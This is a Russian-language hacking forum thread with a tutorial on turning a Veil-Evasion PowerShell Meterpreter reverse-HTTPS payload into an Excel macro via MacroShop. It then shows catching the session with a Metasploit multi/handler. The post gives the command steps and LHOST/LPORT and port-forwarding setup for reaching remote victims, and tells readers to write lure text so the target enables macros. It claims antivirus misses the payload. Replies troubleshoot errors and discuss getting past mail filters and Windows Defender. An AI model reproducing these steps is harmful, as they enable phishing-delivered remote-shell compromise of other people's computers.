Penetration Testing with Microsoft Office

Vander

Well-Known Member
Администратор
16.01.2016
967
2 264
28
#1
Всем привет! В этой статье я покажу, как можно получить доступ к удаленному компьютеру, используя Veil Evasion и Microsoft Excel. А точнее одно свойство Excel – поддержка макросов.

Макрос - это программа, которая содержит набор инструкций выполняющих какие либо действия, как автоматически, так и по требованию пользователя, т.е. выполняются явно и неявно. Широкое распространение, данное понятие получило благодаря корпорации Microsoft, которая реализовала возможность написания макросов в своих продуктах, а именно Office (Word, Excel, Access и т.д.). Используемый язык в макросах - Visual Basic, так же продукт Microsoft, но с некоторыми ограничениями. Макрокоманды, способны автоматизировать большинство процессов и значительно сократить время на обработку данных.

Способ получения Veil Evasion описан тут - https://codeby.net/forum/threads/vzlom-udalennogo-pk-veil-evasion-metasploit.57819/

Запускаем Veil Evasion:

> ./Veil-Evasion.py

Вводим команду:

list (покажет список доступных пайлоадов)

upload_2016-10-13_21-56-23.png

Мы будем использовать пайлоад с ID 23. Вводим:

> use powershell/meterpreter/rev_https

или

> use 23

Обратный протокол HTTPS, здесь будет успешно использован, в случае если файрвол у жертвы настроен таким образом, чтобы пропускать трафик по TCP. В большинстве случаев, на компьютере HTTPS не заблокирован.

Настроим Veil для нашего случая, пишем:

> set LHOST 172.16.0.199

Тут я немного прервусь, для объяснений, т.к. вопросы уже были.

Так как, я нахожусь с атакуемым компьютером в одной подсети, мы подключены к одному роутеру, то в поле LHOST я вписываю свой локальный адрес.

upload_2016-10-13_21-57-30.png

Именно на него «постучится» цель, после того как на нем сработает полезная нагрузка. Чтобы таким же образом подключится к компьютеру находящемуся в другой сети, вообще в другом городе/стране, необходимо сделать иначе. Для удобства лучше иметь статический (белый) IP адрес. К примеру, у вас роутер, вашей машине, с которой вы атакуете, был присвоен локальный адрес из диапазона 192.168.0.ХХХ. Но, в интернет вы выходите из под своего внешнего адреса, который присвоил вашему роутеру провайдер. Ваш компьютер, с которого вы проводите проникновение, находится за NAT роутера.

upload_2016-10-13_21-58-20.png

Допустим этот адрес 82.198.34.88, для того, чтобы целевой компьютер постучался на него мы в поле LHOST его и укажем. В опциях так же есть поле LPORT:

upload_2016-10-13_21-59-0.png

Именно на этот LHOST и LPORT, будет пытаться подсоединиться цель. Затем необходимо указать роутеру, чтобы все пакеты, адресованные 8443 порту, он направлял нашей машине с Kali, у которой адрес 192.168.0.ХХХ. Для этого добавляем такое правило:

upload_2016-10-13_21-59-48.png

Теперь все пакеты, которые предназначаются 443 (у меня так) порту, получит моя Kali c локальным адресом 192.168.0.101. Идем далее.

> generate

upload_2016-10-13_22-0-20.png

Вводим имя:

upload_2016-10-13_22-0-37.png

Veil-Evasion сгенерировала нам файл win8.1.bat в директории - /usr/share/veil-output/source/

upload_2016-10-13_22-1-5.png

Теперь откроем новое окно терминала и установим MacroShop. MacroShop представляет собой набор скриптов, помогающих в работе с пайлоадами, через Office Macros. Большинство из них, написаны на Python. Для его установки вводим:

> git clone
Чтобы видеть этот контент необходимо: Войти или зарегистрироваться


upload_2016-10-13_22-1-42.png

После установки, переместим файл win8.1 в директорию MacroShop.

upload_2016-10-13_22-2-12.png

Теперь, в терминале перейдем в директорию MacroShop, и пишем:

> python macro_safe.py windus.bat file.txt (windus.bat – потому, что я его пересоздал)

upload_2016-10-13_22-2-48.png

После того, как процесс успешно завершился, откроем новый файл Excel (у себя) и проделаем следующее:

upload_2016-10-13_22-3-16.png

Пишем имя макроса и создаем его. В открывшееся поле для редактирования, копируем код, который мы получили в файле – file.txt, затем сохраним макрос.

upload_2016-10-13_22-3-42.png

Копируем код полностью, заменяя строки которые были в начале макроса, это важно!

Сохраняем в формате, как на скриншоте:

upload_2016-10-13_22-4-11.png

В самом документе пишем все, что угодно, нам нужно заинтересовать цель в открытии документа и включения макроса.

upload_2016-10-13_22-4-33.png

Теперь, когда файл оказался на целевом компьютере, у себя в терминале откроем msfconsole

upload_2016-10-13_22-4-57.png


и введем следующие команды:

> use multi/handler

> set payload/windows/meterpreter/reverse_https

> set LHOST 192.168.0.XXX

> set LPORT XXX (ваш порт)

> exploit

Когда на целевом хосте буде открыт дынный файл и выполнится макрос, у вас откроется сессия meterpreter, как и было обещано.

upload_2016-10-13_22-6-46.png

Дальше дело техники. Спасибо за внимание.

P.S. Антивирусы не определяют данный код как вредоносный.
 

z3RoTooL

Well-Known Member
Red Team
28.02.2016
615
438
#4
главное, чтоб кроме нас ещё кто-то смотрел эти темы ))) а то никто не комментирует, молча заходят и всё.
 

kot-gor

Well-Known Member
ELEET
07.09.2016
388
410
39
#5
Хорошая статья...с этой тематики есть еще прога Magic unicorn Attack Vector. Мне даже кажется что она гораздо проще.Есть только одно но,с данным вектором атаки.Если забрасывать файл жертве через почту..то сейчас многие почтовые сервера выявляют макросы встроенные в (word,Excel, итд ) и не пропускают данные файлы, хотя эту защиту легко обходить. Ну и не следует забывать что бы вектор атаки был успешен, у жертвы должна быть включена опция отображать макросы.
 

Inject0r

Well-Known Member
03.09.2016
113
175
#6
главное, чтоб кроме нас ещё кто-то смотрел эти темы ))) а то никто не комментирует, молча заходят и всё.
Я смотрю. И на твой паблик подписался. И на ютуб ) По статистике обычно 60-80% людей - пассивные наблюдатели, тема им интересна, читают, но ничего не пишут, это нормально :)

Кстати, почему после установки Veil Кали начинает глючить, после перезагрузки ввожу логин и пароль рабочие, но система не загружает рабочий стол, а заново выкидывает на экран с вводом логина. С проблемой месяца 2 назад столкнулся. Проблему решил только с помощбю снапшотов. Сохранил снапшот с установленным veil на виртуалке, а после работы откатываюсь к рабочему состоянию машины. Напрягает такая схема если честно.
 

z3RoTooL

Well-Known Member
Red Team
28.02.2016
615
438
#7
Я смотрю. И на твой паблик подписался. И на ютуб ) По статистике обычно 60-80% людей - пассивные наблюдатели, тема им интересна, читают, но ничего не пишут, это нормально :)

Кстати, почему после установки Veil Кали начинает глючить, после перезагрузки ввожу логин и пароль рабочие, но система не загружает рабочий стол, а заново выкидывает на экран с вводом логина. С проблемой месяца 2 назад столкнулся. Проблему решил только с помощбю снапшотов. Сохранил снапшот с установленным veil на виртуалке, а после работы откатываюсь к рабочему состоянию машины. Напрягает такая схема если честно.
о_О
У меня такого не было ни разу
 

Vander

Well-Known Member
Администратор
16.01.2016
967
2 264
28
#8
Я смотрю. И на твой паблик подписался. И на ютуб ) По статистике обычно 60-80% людей - пассивные наблюдатели, тема им интересна, читают, но ничего не пишут, это нормально :)

Кстати, почему после установки Veil Кали начинает глючить, после перезагрузки ввожу логин и пароль рабочие, но система не загружает рабочий стол, а заново выкидывает на экран с вводом логина. С проблемой месяца 2 назад столкнулся. Проблему решил только с помощбю снапшотов. Сохранил снапшот с установленным veil на виртуалке, а после работы откатываюсь к рабочему состоянию машины. Напрягает такая схема если честно.
Никогда не сталкивался, вчера по новой ставил, все ок на 2016.2
 

MAdDog719

Well-Known Member
Премиум
16.08.2016
108
26
30
#9
У меня банальный защитник виндовс, при сохранении файла с макросом, определяет его как вредонос, и тут же убивает. Думаю на компе жертвы будет также.

Ставлю виртуалку Win XP поэксперементирую)))
 

MAdDog719

Well-Known Member
Премиум
16.08.2016
108
26
30
#12
я только учусь подскажите что не так
Код:
root@kali:~/MacroShop# python macro_safe.py windus.bat file.txt
Traceback (most recent call last):
  File "macro_safe.py", line 40, in <module>
    f = open(fname)
IOError: [Errno 2] No such file or directory: 'windus.bat'
Файлик windus.bat найти не может. Ты походу его не переместил в папку с программой, ну или имя файлу дал другое.
 

Vander

Well-Known Member
Администратор
16.01.2016
967
2 264
28
#15
У меня банальный защитник виндовс, при сохранении файла с макросом, определяет его как вредонос, и тут же убивает. Думаю на компе жертвы будет также.

Ставлю виртуалку Win XP поэксперементирую)))
Привет! Я на Win8.1 с защитником тестил, не определялся как вредонос...
 

MAdDog719

Well-Known Member
Премиум
16.08.2016
108
26
30
#16
в msfconsole пише:
msf exploit(handler) > set payload/windows/meterpreter/reverse_https
[-] Unknown variable
Usage: set [option] [value]

Set the given option to value. If value is omitted, print the current value.
If both are omitted, print options that are currently set.

If run from a module context, this will set the value in the module's
datastore. Use -g to operate on the global datastore
не подскажете что не так

Пробуй так: set payload windows/meterpreter/reverse_https
 

MAdDog719

Well-Known Member
Премиум
16.08.2016
108
26
30
#17
Добрый день, Vander.
Подскажите пожалуйста, в Veli у вас LPORT указан 8443, а на роутере переадресация прописана на 443 порт. Или вы при создании payload, изменили порт на 443?
 

MAdDog719

Well-Known Member
Премиум
16.08.2016
108
26
30
#19
Проверил на Win 10 Home x32. не работает. Защитник убивает файлик с макросом. Во общем целится нужно на 7ку.